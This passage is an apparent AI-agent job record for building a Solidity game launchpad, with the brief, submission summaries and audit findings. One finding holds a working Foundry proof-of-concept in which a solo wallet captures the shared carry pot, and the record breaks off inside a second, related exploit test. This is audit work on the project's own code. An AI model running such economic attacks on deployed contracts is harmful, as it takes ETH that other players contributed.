{"assessments":[],"deployments":[],"fuzz":[],"identity":{"adapter":"0xde152afb7db5373f34876e1499fbd893a82dd336","chainId":1,"collection":"0x0000ec93127baa929e58e97dd0095a2bfb38ec1d","registry":"0x8004a169fb4a3325136eb29fa0ceb6d2e539a432"},"interpretation":"Records acceptance and evidence. Neither completion nor an AI assessment establishes correctness, safety, or independent review.","jobId":"0bd05232-9230-4229-beaa-ee769acf3b3e","kind":"shape:chain","nodes":[{"acceptedSubmissionHash":"cd1e730760a70695d3584d64f2f26c49a68b065ebeabfb75553f18b6e3165586","dependsOn":["build_contract_project"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","tools":[]},"key":"audit_economics","kind":"code","role":"review","skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","state":"accepted"},{"acceptedSubmissionHash":"41f4ad4c2801f50e92fa1e119696f4bfb582f93dc17e953e8e2fd2634ae7a383","dependsOn":["build_contract_project"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","tools":[]},"key":"audit_flow","kind":"code","role":"review","skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","state":"accepted"},{"acceptedSubmissionHash":"59c3178b8754a56345e937ac5fe3854e264bebf4e5f1f141c2d3f1d75f47915f","dependsOn":["build_contract_project","write_foundry_tests","manifest","audit_math","audit_permissions","audit_economics","audit_flow"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"af3aa01159bbf354f621cafa5c0006f6169e0938a8b015be508b7377dbf165bc","skillId":"audit-judge","tools":[]},"key":"audit_judge","kind":"code","role":"review","skillHash":"af3aa01159bbf354f621cafa5c0006f6169e0938a8b015be508b7377dbf165bc","skillId":"audit-judge","state":"accepted"},{"acceptedSubmissionHash":"6d91a9124cf6511c8122eb6aa7c3fcd0561a9e326da93258dab9eae8629a2f88","dependsOn":["build_contract_project"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","tools":[]},"key":"audit_math","kind":"code","role":"review","skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","state":"accepted"},{"acceptedSubmissionHash":"79b3941382c2adf044a750855d360a9e3874f2a921a02da57ee73008c6a4d40d","dependsOn":["build_contract_project"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","tools":[]},"key":"audit_permissions","kind":"code","role":"review","skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","state":"accepted"},{"acceptedSubmissionHash":"3c7bfab62a784899955de93ef6a3153fecd0cb830de3a9554a4bc4e84ef04aab","dependsOn":[],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"6b8d2c2ebd3301cff2be8edb1e1cc6ba65c858c02fe7247be81722b969842265","skillId":"build-contract-project","tools":[]},"key":"build_contract_project","kind":"code","role":"implement","skillHash":"6b8d2c2ebd3301cff2be8edb1e1cc6ba65c858c02fe7247be81722b969842265","skillId":"build-contract-project","state":"accepted"},{"acceptedSubmissionHash":"f39b5379d2a6ab713ffd702ca286f251aa3524d92656c54692fd10b442455b2c","dependsOn":["build_contract_project"],"execution":{"network":false,"profile":"foundry","requires":[],"tools":[]},"key":"manifest","kind":"code","role":"integrate","skillHash":null,"skillId":null,"state":"accepted"},{"acceptedSubmissionHash":"78dc1fb1d409e0ed5d3e8fa7916fc8efb264fe994ffaa1229d4e90159c28fc55","dependsOn":["build_contract_project"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"4c76766b00591dfe982fe85d3de589fdb2f810e5137c301155d1c5e36a1d3b23","skillId":"write-foundry-tests","tools":[]},"key":"write_foundry_tests","kind":"code","role":"tests","skillHash":"4c76766b00591dfe982fe85d3de589fdb2f810e5137c301155d1c5e36a1d3b23","skillId":"write-foundry-tests","state":"accepted"}],"objective":"PvP Pad: launchpad where every launch is a fast Spireth game; all payments in ETH.\n\nDECISION (final): contracts only. This launch mints NO token at deployment: no token name or symbol, no pool, no distributor; all tokens (PvP included) are created later by the pad itself. No website or URL in this job; a later job.continue builds it.\n\nRedo of parked launch 1625: reuse github.com/identity-md-launches/launch-1625-pepe-values-pepe @fbc68da with its fixes, minus its launch token and graduation code.\n\ndev = 0x5b95a971b4583a5f011e9da082acdd679b870d06 (immutable).\n\nOPEN: mint, roll, launch and takeCrown revert until openPad(salt): once, by $owner or anyone after 30 days; never undone; grants nothing else. It CREATE2-deploys PadHook from PadLiquidity with that salt, reverting unless the address has exactly the beforeInitialize flag (docs: how to find the salt).\n\nCHAIN: Robinhood Chain (4663) runs Arbitrum's stack: RNG and timing use ArbSys (0x64) arbBlockNumber/arbBlockHash, never block.number, blockhash or prevrandao. v4 PoolManager: 0x8366a39cc670b4001a1121b8f6a443a643e40951.\n\nDEPLOY (hard): one transaction under 16,777,216 gas, nothing called after. Target <13M gas incl. genesis; each runtime <24,576 bytes. Constructors nonpayable, args only static addresses, $owner and $contract:Earlier. Later contracts bind to earlier ones from their constructors (one-shot). Constructors never call ArbSys, the PoolManager or anything outside the manifest. Each launch's token and game are EIP-1167 clones, initialized once by the pad.\n\nCONTRACTS in order: PadToken (template), PadGame (template: curve + game), PvPPad (registry, factory, carry pot, open switch), PadLiquidity (v4 graduation, locked LP, fees, burn), KingOfThePad (constructor binds all, calls PvPPad.startGenesis()). PadHook is deployed by openPad, not in the manifest; its beforeInitialize allows only PadLiquidity.\n\nLAUNCH: launch(name <=32, ticker <=10, imageURL <=200), anyone, after PvP graduates. 1e9 supply, 18 decimals. Transfers locked until graduation except by its game and PadLiquidity.\n\nCURVE: virtual constant product, 1 ETH and 1e9 tokens virtual; 800M on the curve (sold out at 4 ETH), 200M for LP. Only rolls buy; no sells. Sold out: the roll's 90% goes to the pot.\n\nGAME:\n- Waits for the first Imp mint, which starts a 10-min signup: free, 1 Imp per wallet, max 200, records not NFTs. Then play until the bell, all dead, or 60 min after the first mint.\n- Roll 0.002 ETH, 60s cooldown: 90% curve buy (tokens to roller), 8% game pot, 2% PvP burn bucket (genesis: pot).\n- Dice: rand % 8 -> -4..-1, +1..+4. Height clamps at +-50; reaching it rings the bell and ends the game.\n- Death: 10 min without a roll (from play start if never rolled).\n- RNG: roll stores its commit L2 block; outcome = keccak(game, imp, nonce, arbBlockHash of commit+1, +2, +3). No player secret. Anyone resolves; every mint, roll and poke resolves up to 8 oldest pending rolls; an Imp's roll resolves its previous one. Unresolved past the 256-block window: |height| moves 4 toward 0.\n- End: rank living Imps by |height| desc, earlier heightReachedAt wins ties; top ceil(living/2) split 80% of the pot with triangular weights (paid - rank); bell ringer 20% (no bell: all to ranks; none living: carry pot). Finalizer gets 0.5% of the pot, max 0.005 ETH.\n- Graduation after the end, permissionless: curve ETH + remaining tokens into a v4 pool (native ETH, fee 10000, tickSpacing 200, hooks = PadHook) that PadLiquidity initializes at the final curve price, full range, owned forever by PadLiquidity; excess tokens to 0x000000000000000000000000000000000000dEaD; token unlocks inside the graduation tx. No ETH raised: burn all, mark failed.\n\nGENESIS: launch #1 \"Pepes Value Pepes\" (PvP), created in the last constructor, waits for its first mint; its 2% burn share goes to its pot. Other launches revert until PvP graduates.\n\nBURN: burn-bucket ETH waits in PadLiquidity until PvP graduates; then anyone or upkeep buys PvP and sends it to dEaD, max 0.02 ETH per buy, one buy per 10 min.\n\nKING (opens after PvP graduates): takeCrown() payable: first bid >= 0.01 ETH, then >= 110% of the current bid, only after the king held 1h. Old king refunded in full at once. Extra (new - old; whole first bid): 50% to pots of live games with >= 5 Imps, by pot size (max 10; none: carry pot for the next game), 25% burn bucket, 25% dev. distribute(n), anyone or upkeep: collect LP fees from the next n graduated pools round-robin, sell the token side for ETH (chunk-capped), send all to the current king.\n\nUPKEEP: every state-changing call does bounded upkeep (resolve rolls, finalize/pay/graduate due games, distribute 2 pools, burn chunk). poke(game) public.\n\nSAFETY: ETH pushes gas-capped, failures claimable; reentrancy guards; CEI; bounded loops; internal accounting; transferFrom only from msg.sender; v4 only via PoolManager.unlock with own funds.\n\nLAUNCH.JSON: {\"kind\":\"evm_contracts\",\"contracts\":[{\"contract\",\"constructorArgs\"}],\"notes\"} in deploy order; args are strings, addresses lowercase. foundry.toml: bytecode_hash = \"none\", cbor_metadata = false. Validate it. Never deploy, broadcast or call RPCs.\n\nDELIVER: Foundry project; tests for every rule above (open/salt, expiry, foreign initialize, king split, genesis gating, deploy gas); views and events for all state; docs/AUDIT.md, test report, docs/VERIFY.md (robin.etherscan.io); README: legal review before public launch.\n\nToken name: DONTBUYTHISTOKEN\nToken symbol: DBTT","parentJobId":null,"planHash":"910f183a95a38fae00e7d3186cda63ab8e1c6996b474eff28e1f07262d818d37","previousHash":"0000000000000000000000000000000000000000000000000000000000000000","projectId":"0bd05232-9230-4229-beaa-ee769acf3b3e","publication":{"commit":null,"deliveredAt":null,"repoUrl":"https://github.com/identity-md-launches/launch-1643-dontbuythistoken"},"receiptIdentity":{"adapter":"0xde152afb7db5373f34876e1499fbd893a82dd336","chainId":1,"collection":"0x0000ec93127baa929e58e97dd0095a2bfb38ec1d","registry":"0x8004a169fb4a3325136eb29fa0ceb6d2e539a432"},"registry":"0xb6d0a187b050fa5bb0b87033a203f37becf4a775","research":[],"schema":"identitymd-work-v1","signals":[{"agentId":"52191","feedbackHash":"5a88b9be9cae3a0a1f04292a94ac9c0067ad33c0e0f7da206b747a78d2bf3fe7","nodeKey":"audit_economics","submissionHash":"cd1e730760a70695d3584d64f2f26c49a68b065ebeabfb75553f18b6e3165586","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"50974","feedbackHash":"47084965050ca978db6086bf17ac764f88b1a89652666d91c20a029f680c5e69","nodeKey":"audit_flow","submissionHash":"41f4ad4c2801f50e92fa1e119696f4bfb582f93dc17e953e8e2fd2634ae7a383","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"51484","feedbackHash":"a2691b8bfa1d47be85b627be35e5bac6fa444e7f8173d5d207708c5e422cf3ab","nodeKey":"audit_judge","submissionHash":"59c3178b8754a56345e937ac5fe3854e264bebf4e5f1f141c2d3f1d75f47915f","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"52391","feedbackHash":"43b5a86dd8dab50e37d71596bf0b8ef80e3a4b9e2f19319e15a3b1bcc072cb7c","nodeKey":"audit_judge","submissionHash":"ef76ce498395ae01ebfce51c16fbe8500fb9eec3dac71f28b39675fc2a35167b","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"50961","feedbackHash":"3e1bf0d46450139f3c2b331be6b2b733eaa959d42b19846386b39815765eea3c","nodeKey":"audit_math","submissionHash":"6d91a9124cf6511c8122eb6aa7c3fcd0561a9e326da93258dab9eae8629a2f88","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"52601","feedbackHash":"f799905116728adc84da66f3208be78e73a153309b4bfd29072f3652ab9bb2ad","nodeKey":"audit_permissions","submissionHash":"79b3941382c2adf044a750855d360a9e3874f2a921a02da57ee73008c6a4d40d","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"51071","feedbackHash":"e01d8abbe3979b177689eabe35b4bab4bb5bf3e455b2b5011e96485db1e193be","nodeKey":"build_contract_project","submissionHash":"3c7bfab62a784899955de93ef6a3153fecd0cb830de3a9554a4bc4e84ef04aab","tag1":"verification:checks","tag2":"acceptance-v2","value":1},{"agentId":"52116","feedbackHash":"e0c36ddde991f6d056c98f4582cbc37103ace24cebbfcd2138ac0d0306be6162","nodeKey":"build_contract_project","submissionHash":"05fc0051882ab15252933cffe6d8315c497972757b11a7e44742828100add13b","tag1":"verification:checks","tag2":"acceptance-v2","value":1},{"agentId":"51035","feedbackHash":"6cee92dd619d8b7b7bae8ca4bb009b753f9a02502fa328c36c921670c95eb361","nodeKey":"manifest","submissionHash":"f39b5379d2a6ab713ffd702ca286f251aa3524d92656c54692fd10b442455b2c","tag1":"verification:checks","tag2":"acceptance-v2","value":1},{"agentId":"52289","feedbackHash":"c60c318bc6467fda05c835aa0feed6bf1a6d57679d2d0ea0a0991c638b67b2fe","nodeKey":"manifest","submissionHash":"11394a5eeef57983614898e20be97bddede09ef37924b3de6095c132b12de45c","tag1":"verification:checks","tag2":"acceptance-v2","value":1},{"agentId":"51203","feedbackHash":"e4b56796c75debc7e669c224839aaf4f2d5f314ffc9935a7b4be08a99a64c7f5","nodeKey":"write_foundry_tests","submissionHash":"78dc1fb1d409e0ed5d3e8fa7916fc8efb264fe994ffaa1229d4e90159c28fc55","tag1":"verification:checks","tag2":"acceptance-v2","value":1},{"agentId":"51515","feedbackHash":"915d7b5ffd8bb485fb7c07a8a0f9c8496a05c44aa5d411052372a80661d91e1a","nodeKey":"write_foundry_tests","submissionHash":"ebaa25d45eaff72b7447d23d8857923047aadc53a70d22ccc204ca025821a446","tag1":"verification:checks","tag2":"acceptance-v2","value":1}],"site":null,"snapshotHash":"a98c5be05ed2e7d5415da9cec14e669345329422edb27abed7e76d55965f89e0","state":"completed","submissions":[{"artifacts":[],"attempt":1,"bundleHash":"3ea1904e99b542e5f819e71cc09f28c24488b91c1e8bd7ddf7dacd05694b06c6","device":"6d0f746f68a99ddf","findings":[],"hash":"05fc0051882ab15252933cffe6d8315c497972757b11a7e44742828100add13b","nodeId":"bfed4d27-0e70-4c74-b41a-69ea3c00e69f","outcome":"completed","summary":"Committed as `a1d8ce3` with the tree clean. Final state:\n\n**Delivered** a contracts-only Foundry project at the repo root for the PvP Pad on Robinhood Chain.\n\n- **Contracts in deploy order:** `PadToken` (template), `PadGame` (template: curve + Spireth game), `PvPPad` (registry, clone factory, carry pot, open switch, bounded upkeep), `PadLiquidity` (v4 graduation, locked full-range LP, fee distribution to the king, PvP burn), `KingOfThePad` (crown auction; constructor binds everything and calls `startGenesis()`, which creates the PVP launch as two EIP-1167 clones). `PadHook` is CREATE2-deployed by `openPad(salt)` and only lets PadLiquidity initialize pools.\n- **Rules implemented:** open switch with salt flag check and 30-day anyone fallback; 10-min free signup, 200 Imps, 0.002 ETH rolls with 90/8/2 split, constant-product curve sold out at exactly 4 ETH, ArbSys-based commit RNG with 8-roll batch resolution and expiry toward zero, ±50 bell, death and 60-min cap, triangular ranked payouts with bell share and capped finalizer fee, graduation into a v4 pool with excess burned, failed graduation, genesis gating, burn chunks, king bids with full refunds and 50/25/25 extra split, round-robin fee distribution, gas-capped pushes with claimables.\n- **Checks:** `forge build`, `forge test` (56 tests, all passing with the verifier's fuzz seed) and `forge fmt --check` are clean. All runtimes are under 24,576 bytes with no forbidden opcodes, confirmed by an in-suite scan. forge-std is vendored as plain files with no nested git metadata.\n- **Docs:** README (owner's after-launch salt-mining and open steps, constants, legal-review notice), `docs/AUDIT.md`, `docs/TEST-REPORT.md`, `docs/VERIFY.md`.\n\n**Assumptions and limits to know about**\n\n- Wall-clock durations use `block.timestamp`; ArbSys block numbers and hashes are used for the RNG window. The brief's \"timing uses ArbSys\" was read that way because L2 block cadence is not a reliable clock.\n- Tests use a behavioural mock of the v4 PoolManager and a mock ArbSys at 0x64. The real PoolManager math was not exercised offline; a fork rehearsal of one graduation before opening the pad is recommended (AUDIT item 6).\n- Deployment gas is estimated at about 9M from runtime sizes. Forge's in-test metering under-reports nested creation cost, so the test's measured number is not authoritative; the launch simulation gives the final figure.\n- The form fields DONTBUYTHISTOKEN / DBTT are not used, because the brief's final decision is that this deployment mints no token and genesis is \"Pepes Value Pepes\" (PVP). That launch can be created by anyone after PVP graduates.\n- No launch.json was written, per the manifest rules. No deployment, broadcast or RPC calls were made.","treeHash":"c97dae64f5f163c4b3ec22ef4db1cb433f1828fa","usage":{"cachedInputTokens":4897796,"inputTokens":1474,"model":"claude-fable-5-1","outputTokens":113171,"runtime":"claude","turns":71,"wallClockMs":1902219}},{"artifacts":[],"attempt":1,"bundleHash":"3922113b7f86d2609a9daa386c9c5259420fdc2d8fcbb1ce8493d08bf820f5fd","device":"ee9fbaf2480d1034","findings":[],"hash":"11394a5eeef57983614898e20be97bddede09ef37924b3de6095c132b12de45c","nodeId":"e49f0c5d-0e73-4b51-9798-aa5c7cdb9b25","outcome":"completed","summary":"Done. launch.json is written, validated, tested and committed as the only change.\n\n**Manifest contents**, in deploy order, matching the accepted constructors exactly:\n\n- **PadToken** and **PadGame**: no arguments. Both are clone templates that mark themselves initialized at deployment.\n- **PvPPad**: `$owner`, then the PadToken and PadGame references. The owner resolves to the dev wallet the brief names.\n- **PadLiquidity**: the static Uniswap v4 PoolManager address and the PvPPad reference. Its constructor binds to the pad only.\n- **KingOfThePad**: the PvPPad and PadLiquidity references plus the dev address, written as the static lowercase address the brief states. Its constructor binds both and calls startGenesis.\n\nPadHook is deliberately absent because openPad deploys it later via CREATE2. The notes field explains the design in 1,534 characters.\n\n**Verification**\n\n- A scripted schema check confirmed only the keys kind, contracts and notes, unique identifiers under 32 characters, string arguments, backward-only contract references, and lowercase hex addresses.\n- A scratch test deployed all five contracts on an empty chain with the manifest's exact arguments and confirmed every binding, owner and dev values, and runtime sizes under the EIP-170 limit.\n- The full suite passed with the verifier's fuzz seed: 57 tests, 0 failures.\n- The commit contains only launch.json. The scratch test is in test/scratch and is not submitted.","treeHash":"c3c365b716f2c3011a4b56c9c48a45f924595b50","usage":{"cachedInputTokens":459433,"inputTokens":354,"model":"claude-fable-5-1","outputTokens":6353,"runtime":"claude","turns":12,"wallClockMs":152624}},{"artifacts":[],"attempt":1,"bundleHash":"87cda9f37ededd53621cfb1a52ce928d6fd71881d95bba14c7fd6dd8799549ad","device":"39da99ded7f125c8","findings":[],"hash":"3c7bfab62a784899955de93ef6a3153fecd0cb830de3a9554a4bc4e84ef04aab","nodeId":"bfed4d27-0e70-4c74-b41a-69ea3c00e69f","outcome":"completed","summary":"The responses file is intentionally excluded by the harness's own `.git/info/exclude`, so it is read from disk rather than committed. The revision is complete.\n\n**Outcome.** All four held proofs reproduced on the starting tree and pass now. The suite grew from 56 to 70 tests, all passing with the verifier's fuzz seed; `forge fmt --check` is clean and every runtime stays under 24,576 bytes.\n\n**Fixes for the reopened findings**\n\n- **Genesis grief**: the pad tracks the current genesis id. A failed genesis can be relaunched by anyone through `restartGenesis()`, and `launch()` does the same instead of reverting. The burn buys the token of the genesis that graduated.\n- **Carry and king-share capture**: the game tracks funded ETH apart from roll income. It is paid out only with at least 5 living Imps and at most 3x the roll-earned pot; the rest returns to the carry. The finalizer fee comes from roll income only, `fundPot` is pad-only, and the king split weights by roll-earned pot.\n- **Stranded fee**: `takeCrown` runs upkeep with the bidder as beneficiary.\n- **Sandwich**: every protocol swap stops at a 0.5% sqrt-price move from spot, read from the PoolManager's slot0. The round-trip pool fee exceeds what a chunk can move, and a test with an attacker contract confirms the sandwich loses money.\n\n**Advisories handled**: roll after an own bell reverts, a dead Imp cannot ring, ties follow commit order, the 200-Imp finalize now uses a heap sort and costs 3.75M gas instead of 21.8M, `receive()` is PoolManager-only, and `upkeepStep` takes the lock. The dethroning fee sweep and the one-shot binders are answered as documented design and trust assumptions, with no code change.\n\n**Not covered by local tests**: the real v4 PoolManager's `extsload` layout and partial fills at a price limit are modelled by the mock only. AUDIT.md item 8 asks for a fork rehearsal before opening the pad, and item 13 records the residual that five free mints still make a launch \"live\" for the king split.\n\nFiles to look at: `.imd-responses.json`, `docs/AUDIT.md` items 2, 4, 8 and 13 to 22, `docs/TEST-REPORT.md`.","treeHash":"06ca82ef726cfdbc53b64b0ee8ed68456aa018f9","usage":{"cachedInputTokens":3243359,"inputTokens":642,"model":"claude-fable-5-1","outputTokens":85753,"runtime":"claude","turns":27,"wallClockMs":1480897}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"98b4506bef931d13","findings":[{"citation":"resolved","description":"Execution trace of the carry pot: PadGame._finalize sends the whole pot to PvPPad.fundCarry whenever no Imp is living at the end (src/PadGame.sol:411-412), and because an inactivity end is defined as maxActivity + DEATH, the last roller is always dead at that moment, so every game that ends by inactivity carries its entire pot. KingOfThePad.takeCrown adds 50% of every bid extra to the carry pot when no game with >= 5 Imps is live (src/PvPPad.sol:154-157). PvPPad._create then moves the accumulated carry into the pot of the next launch unconditionally (quoted lines) and launch() is permissionless (src/PvPPad.sol:97). A single wallet calls launch() with any name, mints the only Imp, rolls once every 599 s so it is still alive at the 60-minute hard end, and is paid the whole pot as rank 1 of 1 (plus the finalizer fee if it finalizes). Cost: six rolls (~0.011 ETH net, 90% of which returns as its own tokens). The ETH taken was put in by real PvP players and by the king, who expected it to seed a game other people play. The amplifier: fundGames only looks at the last 10 launches (src/PvPPad.sol:141), so ten free junk launches push every real live game out of the window and force the king share into the carry pot first. Minimal fix that keeps the design: do not release the carry into a launch's pot at creation; hold it in PvPPad and release it only once the game has reached a minimum of distinct rolling wallets (or at play start with >= N Imps that rolled), returning it to the carry pot if the game ends with no living Imp; alternatively pay the carry out like fundGames, weighted across several live games, never 100% to one.","line":125,"path":"src/PvPPad.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {PadToken} from \"src/PadToken.sol\";\nimport {PadGame} from \"src/PadGame.sol\";\nimport {PvPPad} from \"src/PvPPad.sol\";\nimport {PadLiquidity} from \"src/PadLiquidity.sol\";\nimport {KingOfThePad} from \"src/KingOfThePad.sol\";\nimport {IUnlockCallback, PoolKey, ModifyLiquidityParams, SwapParams} from \"src/interfaces/Interfaces.sol\";\n\n/// ArbSys stand-in at 0x64: block number set by the test, hashes served inside the 256-block window.\ncontract ArbSysStub {\n    uint256 public number = 1000;\n\n    function advance(uint256 n) external {\n        number += n;\n    }\n\n    function arbBlockNumber() external view returns (uint256) {\n        return number;\n    }\n\n    function arbBlockHash(uint256 n) external view returns (bytes32) {\n        require(n < number && n + 256 >= number, \"invalid block number\");\n        return keccak256(abi.encode(\"arb\", n));\n    }\n}\n\ninterface IHookInit {\n    function beforeInitialize(address sender, PoolKey calldata key, uint160 sqrtPriceX96) external returns (bytes4);\n}\n\n/// Minimal PoolManager stand-in: enough for one graduation (initialize through the hook, unlock,\n/// a 1 wei / 1 wei liquidity delta, settle). Swaps revert; upkeep wraps them in try/catch.\ncontract PoolManagerStub {\n    function unlock(bytes calldata data) external returns (bytes memory) {\n        return IUnlockCallback(msg.sender).unlockCallback(data);\n    }\n\n    function initialize(PoolKey memory key, uint160 sqrtPriceX96) external returns (int24) {\n        if (key.hooks != address(0)) {\n            require(\n                IHookInit(key.hooks).beforeInitialize(msg.sender, key, sqrtPriceX96) == IHookInit.beforeInitialize.selector,\n                \"hook\"\n            );\n        }\n        return 0;\n    }\n\n    function modifyLiquidity(PoolKey memory, ModifyLiquidityParams memory p, bytes calldata)\n        external\n        pure\n        returns (int256 callerDelta, int256 feesAccrued)\n    {\n        if (p.liquidityDelta > 0) callerDelta = -1; // amount0 = -1, amount1 = -1\n        feesAccrued = 0;\n    }\n\n    function swap(PoolKey memory, SwapParams memory, bytes calldata) external pure returns (int256) {\n        revert(\"no swap in stub\");\n    }\n\n    function sync(address) external {}\n\n    function settle() external payable returns (uint256) {\n        return msg.value;\n    }\n\n    function take(address, address, uint256) external {}\n\n    receive() external payable {}\n}\n\n/// The carry pot (king extras with no live game, dead-game pots, dust) is handed in full to whichever\n/// launch comes next. launch() is permissionless, so a single wallet launches a throwaway token, plays\n/// alone to the 60-minute end and is paid the whole carry pot as rank 1.\ncontract CarryPotCaptureTest is Test {\n    address constant OWNER = 0x5b95A971B4583A5f011E9DA082acdD679b870D06;\n    ArbSysStub arb;\n    PoolManagerStub pm;\n    PvPPad pad;\n    PadLiquidity liq;\n    KingOfThePad king;\n    PadGame pvp;\n\n    address honest = address(0xA001);\n    address bidder = address(0xA002);\n    address attacker = address(0xA003);\n\n    function setUp() public {\n        vm.warp(1_800_000_000);\n        ArbSysStub impl = new ArbSysStub();\n        vm.etch(address(0x64), address(impl).code);\n        arb = ArbSysStub(address(0x64));\n        pm = new PoolManagerStub();\n        PadToken tokenTemplate = new PadToken();\n        PadGame gameTemplate = new PadGame();\n        pad = new PvPPad(OWNER, address(tokenTemplate), address(gameTemplate));\n        liq = new PadLiquidity(address(pm), address(pad));\n        king = new KingOfThePad(address(pad), address(liq), OWNER);\n        pvp = PadGame(pad.gameOf(1));\n        vm.deal(honest, 10 ether);\n        vm.deal(bidder, 10 ether);\n        vm.deal(attacker, 1 ether);\n\n        // open the pad with a salt whose hook address carries exactly the beforeInitialize flag\n        bytes32 h = liq.hookInitCodeHash();\n        bytes32 salt;\n        bool found;\n        for (uint256 i; i < 500_000; ++i) {\n            address a = address(\n                uint160(uint256(keccak256(abi.encodePacked(bytes1(0xff), address(liq), bytes32(i), h))))\n            );\n            if (uint160(a) & 0x3FFF == 0x2000) {\n                salt = bytes32(i);\n                found = true;\n                break;\n            }\n        }\n        require(found, \"no salt\");\n        vm.prank(OWNER);\n        pad.openPad(salt);\n\n        // genesis: one honest roll, then inactivity -> ends, finalizes, graduates\n        vm.prank(honest);\n        pvp.mint();\n        advance(10 minutes);\n        vm.prank(honest);\n        pvp.roll{value: 0.002 ether}();\n        advance(60 minutes);\n        pvp.poke(); // resolve + finalize\n        pvp.poke(); // graduate\n        assertTrue(pad.genesisGraduated(), \"genesis graduated\");\n    }\n\n    function advance(uint256 secs) internal {\n        vm.warp(vm.getBlockTimestamp() + secs);\n        arb.advance(secs * 4);\n    }\n\n    function test_soloLaunchCapturesCarryPot() public {\n        // A king bid while no game is live: 50% of the bid goes to the carry pot.\n        vm.prank(bidder);\n        king.takeCrown{value: 1 ether}();\n        uint256 carry = pad.carryPot();\n        assertGe(carry, 0.5 ether, \"carry pot holds the king's games share\");\n\n        uint256 start = attacker.balance;\n        vm.prank(attacker);\n        uint256 id = pad.launch(\"junk\", \"JUNK\", \"\");\n        PadGame g = PadGame(pad.gameOf(id));\n        assertEq(g.pot(), carry, \"whole carry pot moved into the attacker's launch\");\n\n        vm.prank(attacker);\n        g.mint();\n        advance(10 minutes); // play starts\n        // stay alive until the 60-minute hard end: one roll every 599 s\n        for (uint256 i; i < 6; ++i) {\n            vm.prank(attacker);\n            g.roll{value: 0.002 ether}();\n            advance(599);\n        }\n        while (!g.ended()) advance(60);\n        advance(5);\n        vm.prank(attacker);\n        g.finalize();\n        assertEq(g.livingAtEnd(), 1);\n        assertEq(g.paidAtEnd(), 1);\n\n        // Expected: a throwaway solo launch must not profit from ETH other players and the king put in.\n        // Actual: the attacker walks away with the carry pot minus six rolls.\n        assertLe(attacker.balance, start, \"sybil launcher must not profit from the carry pot\");\n    }\n}","reproduction":"State: pad open, PvP graduated, carryPot = 0.5 ETH (bidder called KingOfThePad.takeCrown{value: 1 ether}() with no live game). Attacker (1 ETH): pad.launch(\"junk\",\"JUNK\",\"\") -> new game's pot() == 0.5 ETH; g.mint(); warp +600 s; six times g.roll{value: 0.002 ether}() then warp +599 s; warp past hardEnd; +4 L2 blocks; g.finalize(). Expected: a throwaway solo launch cannot profit from ETH that other players and the king put in. Actual: livingAtEnd == 1, paidAtEnd == 1, attacker balance 1.489 ETH (started 1 ETH). Run: forge test --match-path test/scratch/CarryPotCapture.t.sol (fails with 'sybil launcher must not profit from the carry pot').","severity":"high","snippet":"        uint256 carry = carryPot;\n        if (carry != 0) {\n            carryPot = 0;\n            IPadGame(game).fundPot{value: carry}();","title":"Carry pot is handed in full to whoever calls launch() next; a solo throwaway launch collects it"},{"citation":"resolved","description":"PvPPad.fundGames pays the king's games share to games whose isLiveForKing() is true, weighted by pot size (src/PvPPad.sol:146-165). The only liveness test is the quoted one: a first mint happened, the game has not ended, and imps.length >= 5. Mints are free, one per wallet, and the game is 'live' from the first mint, during signup, before any roll. One operator launches a token (launch() is permissionless), mints five Imps from five addresses, and from that moment every takeCrown() routes 50% of its extra into that pot. If the operator also calls fundPot() the weight 'by pot size' is self-inflated (that ETH comes back to the operator as the winner). One sybil then rolls every 599 s to the hard end; it is the only living Imp, ranks 1 of 1 and receives the full pot (minus a 0.5% finalizer fee it can also collect). Real games older than the last 10 launches are excluded from fundGames entirely (src/PvPPad.sol:141), so ten junk launches also starve them. The bidder's ETH, meant for pots other people compete for, is paid to an unprivileged operator at a cost of ~0.011 ETH. Minimal fix that keeps the design: measure liveness and weight by something that costs money and is not self-recoverable, e.g. number of distinct wallets that have rolled (>= 5) and ETH actually raised on the curve rather than imps.length and pot; and escrow the share in PvPPad until the game ends, releasing it only if >= 5 distinct rollers were living, else back to the carry pot.","line":268,"path":"src/PadGame.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {PadToken} from \"src/PadToken.sol\";\nimport {PadGame} from \"src/PadGame.sol\";\nimport {PvPPad} from \"src/PvPPad.sol\";\nimport {PadLiquidity} from \"src/PadLiquidity.sol\";\nimport {KingOfThePad} from \"src/KingOfThePad.sol\";\nimport {IUnlockCallback, PoolKey, ModifyLiquidityParams, SwapParams} from \"src/interfaces/Interfaces.sol\";\n\ncontract ArbSysStub {\n    uint256 public number = 1000;\n\n    function advance(uint256 n) external {\n        number += n;\n    }\n\n    function arbBlockNumber() external view returns (uint256) {\n        return number;\n    }\n\n    function arbBlockHash(uint256 n) external view returns 